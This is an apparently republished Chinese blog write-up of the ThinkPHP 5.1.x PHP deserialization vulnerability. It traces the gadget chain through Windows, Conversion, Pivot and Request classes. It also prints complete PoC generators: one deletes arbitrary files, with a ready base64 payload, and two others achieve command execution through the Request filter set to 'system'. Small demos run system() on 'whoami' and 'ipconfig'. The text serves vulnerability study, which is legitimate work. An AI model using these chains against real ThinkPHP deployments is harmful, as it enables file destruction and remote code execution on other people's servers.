【详细分析】thinkphp反序列化漏洞

文章目录

  • 配置xdebug
  • 反序列化漏洞
    • 利用链
    • 详细分析
      • poc1(任意文件删除)
      • 测试poc
      • poc2(任意命令执行)
      • poc3(任意命令执行)
  • 补充代码
    • 基础函数
    • trait关键字
      • 应用案例
      • 优先级
      • 多trait

配置xdebug

php.ini

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM

配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展

配置防调试超时

1.打开apache配置文件注释掉如下,并添加一行。# Various default settings
Include conf/extra/httpd-default.conf 将注释去掉
Include conf/extra/httpd-fcgid.conf 添加此行2. 更改httpd-default.conf如下内容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 36003.更改php.ini如下内容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.4.在extra目录下创建httpd-fcgid.conf,写入如下内容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0 
FcgidMaxProcesses 16 
FcgidMaxRequestLen 268435456   
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php

反序列化漏洞

测试版本5.1.37

适用版本5.1.16-5.1.40

利用链

think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString
think\model\concern\Conversion⇒__toString⇒toJson⇒toArray
thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue

在这里插入图片描述
在这里插入图片描述

详细分析

修改控制器

<?phpnamespace app\index\controller; class Index { public function index() { unserialize(base64_decode($_GET['id'])); return "Welcome!"; }
}

查找入口__destruct,进入windows类
在这里插入图片描述

    public function __destruct(){$this->close();$this->removeFiles();}

查看removeFiles方法

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

poc1(任意文件删除)

<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];//这里一定要绝对路径
}
$a=new Windows();
echo base64_encode(serialize($a));

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319

在这里插入图片描述

查找__toString

removeFiles方法里面使用了file_exists($filename), $filename变量可控,传入一个对象则会调用对象的__toString方法将对象转换成字符串再判断, 查找可利用的toString,找到think\model\concern\Conversion类

    public function __toString(){return $this->toJson();}
    public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}
public function toArray(){$item       = [];$hasVisible = false;
...
if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}
...}
    public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}
public function getAttr($name, &$item = null){try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}
...return $value;
    public function getData($name = null){if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}}

分析代码:

当RelationShip.php中的relation数组取不到name的键值,而Attribute.php中的data数组取到了name的键值,则将取出的value进行visible(name)方法
自此,relation->visible($name) 变成了:可控类->visible(可控变量)
接下来的思路就是找 可利用的visible()方法或者可利用的__call()
这里有一个细节,使用__call代替visible时,visible会作为$method传入__call方法,name则传入$args
一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用
经过查找发现 think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值

现在需要寻找继承了trait Conversion的类,找到一个abstract class Model(use model\concern\Conversion),找到一个实现这个抽象类的类class Pivot extends Model

thinkphp\library\think\Request

    public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}//call_user_func_array([$obj,"任意方法"],[$this,任意参数])
//也就是
//$obj->$func($this,$argv)

这里的method是前面传递过来的visible,​this->hook可控,因此只需要设置this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array(this->hook[method], args); 相当于call_user_func_array(‘任意方法’, args);

测试poc

看看是否走到call_user_func_array

<?php
namespace think;
class Request{protected $hook = [];function __construct(){$this->hook=['visible'=>''];}
}namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}
echo base64_encode(serialize(new Windows()));

在这里插入图片描述

这里有个 array_unshift(args, ​this); 会把this放到​arg数组的第一个元素

开始寻找不受this对象影响的方法

这种情况是很难执行命令的,但是Thinkphp作为一个web框架, Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处) 所以可以尝试覆盖filter的方法去执行代码,寻找使用了过滤器的所有方法。发现input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

public function input($data = [], $name = '', $default = null, $filter = ''){...$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组$data = $this->getData($data, $name);...if (is_object($data)) {//$data不能是对象return $data;}}// 解析过滤器//getFilter方法里如果 $filter = false 则 $filter = $this->filter;因此$filter可控$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);...} else {$this->filterValue($data, $name, $filter);}...return $data;}
this->filterValue($data, $name, $filter);
private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);

或者走下面的路径执行命令

if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);//这里最后还是会走到private function filterValue(&$value, $key, $filters)

继续查找调用input方法的的函数

param方法第一个参数可控,从这里入手

public function param($name = '', $default = null, $filter = '')
{if (!$this->mergeParam) {...}if (true === $name) {...}return $this->input($this->param, $name, $default, $filter);
}

function param($name = '', $default = null, $filter = '') 的回溯中发现 isAjax()isPjax()$this->config['var_ajax'] 是可控的,那么 input() 的第一个参数也是可控的,由于只给 input() 传了一个参数,其 $name 默认为空,调用链完成

  public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

poc2(任意命令执行)

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["poc"=>[" "," "]];$this->data = ["poc"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $mergeParam=true;protected $param = [];protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";//回调时调用的PHP函数$this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变$this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax$this->mergeParam=true;//绕过param方法里的一些操作$this->param=["calc",""];//input方法的$data,也是即将执行的命令}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

poc3(任意命令执行)

<?phpnamespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax'         => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}namespace think\model;
use think\Model;
class Pivot extends Model{
}namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}echo base64_encode(serialize(new Windows()));

补充代码

基础函数

__call

<?php
class Test
{
//    function __destruct(){
//        echo "coleak1";
//    }function  __call($method,$arguments){echo "__call" .PHP_EOL. $method.PHP_EOL;print_r($arguments);}
}
$a=new Test();
$a->acdads('aaaaa');

__call
acdads
Array
(
[0] => aaaaa
)

array_unshift

<?php
$a=array("a"=>"red","b"=>"green");
array_unshift($a,"blue");
print_r($a);
?>

Array
(
[0] => blue
[a] => red
[b] => green
)

call_user_func_array

<?php
$a=['whoami','ipconfig'];
$b='system';
call_user_func_array($b,$a);

coleak\admin

<?phpclass Test{public function isAjax(){echo "isAjax".PHP_EOL;}public function __call($method, $args){echo "call".PHP_EOL;$args=[$this,'aaa'];call_user_func_array([$this,'isAjax'],$args);}
}
$a = new Test();
$a->visible();

call
isAjax

getRelation

<?php
function getRelation($name = null)
{$relation=['a'=>'c','b'=>'d'];if (is_null($name)) {return $relation;} elseif (array_key_exists($name, $relation)) {return $relation[$name];}return;
}$append=['a'=>['A','AA'],'b'=>['b','BB']];
if (!empty($append)) {foreach ($append as $key => $name) {if (is_array($name))
// 追加关联对象属性$relation = getRelation($key);echo $relation.PHP_EOL;}
}print_r($append);

c
d
Array
(
[a] => Array
(
[0] => A
[1] => AA
)

[b] => Array
(
[0] => b
[1] => BB
)

)

array_walk_recursive

<?php
$c=['whoami'];
array_walk_recursive($c,'system');

coleak\admin

trait关键字

简介

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

应用案例

<?php
trait Hello{public function echo_hello(){echo 'hello';}
}
trait World{public function echo_world(){echo 'world';}
}
class A{use Hello,World;
}
$a = new A();
$a->echo_hello();
$a->echo_world();

helloworld

优先级

优先顺序是当前类中的方法会覆盖 trait 方法,而 trait 方法又覆盖了基类中的方法。

<?php
class Base {public function sayHello() {echo 'Hello ';}
}trait SayWorld {public function sayHello() {parent::sayHello();echo 'World!';}
}class MyHelloWorld extends Base {use SayWorld;
}$o = new MyHelloWorld();
$o->sayHello();
?>

Hello World!S

多trait

<?php
trait Hello {public function sayHello() {echo 'Hello ';}
}trait World {public function sayWorld() {echo 'World';}
}class MyHelloWorld {use Hello, World;public function sayExclamationMark() {echo '!';}
}$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

Hello World!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/2156.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Boot 中的 WebMvc 是什么,原理,如何使用

Spring Boot 中的 WebMvc 是什么&#xff0c;原理&#xff0c;如何使用 介绍 在 Spring Boot 中&#xff0c;WebMvc 是非常重要的一个模块。它提供了一系列用于处理 Web 请求的组件和工具。在本文中&#xff0c;我们将介绍 Spring Boot 中的 WebMvc 是什么&#xff0c;其原理…

“配置DHCP Snooping实验:保护网络中的DHCP服务和防止欺骗攻击“

"配置DHCP Snooping实验&#xff1a;保护网络中的DHCP服务和防止欺骗攻击" 【实验目的】 部署DHCP服务器。熟悉DHCP Snooping的配置方法。验证拓扑。 【实验拓扑】 实验拓扑如图所示。 设备参数如下表所示。 设备 接口 IP地址 子网掩码 默认网关 R1 F0/0 …

vue element UI在button按钮使用 @keyup.enter不生效

如图所示&#xff0c;没效果。在按钮上绑定keyup事件&#xff0c;加上.native覆盖原有封装的keyup事件 解决办法 created () {document.onkeyup e > {if (e.keyCode 13 && e.target.baseURI.match(/login/)) {// 调用登录 验证方法this.submitForm()}}}成功解决&…

MySQL子查询

&#x1f607;作者介绍&#xff1a;一个有梦想、有理想、有目标的&#xff0c;且渴望能够学有所成的追梦人。 &#x1f386;学习格言&#xff1a;不读书的人,思想就会停止。——狄德罗 ⛪️个人主页&#xff1a;进入博主主页 &#x1f5fc;专栏系列&#xff1a;进入MySQL专栏知…

如何使用upupw搭建服务器,并映射外网访问

作为计算机行业从业人员&#xff0c;相信很多人都接触并使用过phpstudy等类似环境集成包&#xff0c;着对于upupw就比较好理解了。UPUPW绿色服务器平台是Windows下很有特色的一款免费服务器PHP套件&#xff0c;UPUPW PHP套件简化了PHP环境搭建步骤&#xff0c;一个压缩包解压到…

【MOOC 作业】第4章 网络层

不是标答也不是参考答案 仅从个人理解出发去做题 1、(20分) 考虑如图示的网络。 a. 假定网络是一个数据报网络。显示路由器 A 中的转发表&#xff0c;其中所有指向主机 H3 的流量通过接口 3 转发。 目的网络链路接口H33 b. 假定网络是一个数据报网络。你能写出路由器 A 中的…

设计模式篇(Java):单例模式

上一篇&#xff1a;设计模式篇(Java)&#xff1a;前言(UML类图、七大原则) 四、单例模式 所谓类的单例设计模式&#xff0c;就是采取一定的方法保证在整个的软件系统中&#xff0c;对某个类只能存在一个对象实例&#xff0c;并且该类只提供一个取得其对象实例的方法(静态方法)…

【Linux系列P5】gccg++与【动静态库】的美妙邂逅

前言 大家好吖&#xff0c;欢迎来到 YY 滴 Linux系列 &#xff0c;热烈欢迎&#xff01;本章主要内容面向接触过Linux的老铁&#xff0c;主要内容含 欢迎订阅 YY 滴Linux专栏&#xff01;更多干货持续更新&#xff01;以下是传送门&#xff01; 订阅专栏阅读&#xff1a;YY的《…

快速部署K8s仪表板,助力管理轻松搞定!

https://kubernetes.io/zh-cn/docs/tasks/access-application-cluster/web-ui-dashboard/ Dashboard 是基于网页的 Kubernetes 用户界面。 你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中&#xff0c;也可以对容器应用排错&#xff0c;还能管理集群资源。 你可以使…

CaffeineCache+Redis 接入系统做二层缓存思路实现(借鉴 mybatis 二级缓存、自动装配源码)

本文目录 前言本文术语本文项目地址设计思路开发思路DoubleCacheAble 双缓存注解&#xff08;如何设计&#xff1f;&#xff09;动态条件表达式&#xff1f;例如&#xff1a;#a.id?&#xff08;如何解析&#xff1f;&#xff09;缓存切面&#xff08;如何设计&#xff1f;&…

async异步任务_同步任务选项

需要先看完上文&#xff1a;async创建异步任务_御坂美琴1的博客-CSDN博客 让类里面的一个成员函数当作线程的参数。 async里面有三个参数&#xff0c;一个是成员函数的地址&#xff0c;第二个是 类&#xff0c;第三个是传入的参数。 接下来介绍async的同步线程创建。 asy…

华为云Classroom一站式教学实践平台,开启云端教学新征程

随着高考落下帷幕&#xff0c;各高校将迎来新一届大学新生入学&#xff0c;他们的学长学姐们经过四年的学习&#xff0c;也即将步入社会&#xff0c;迈向一段新的人生旅程。 在这里小智先祝大家未来一切顺意&#xff0c;不忘初心&#xff0c;大鹏一日同风起&#xff0c;扶摇直…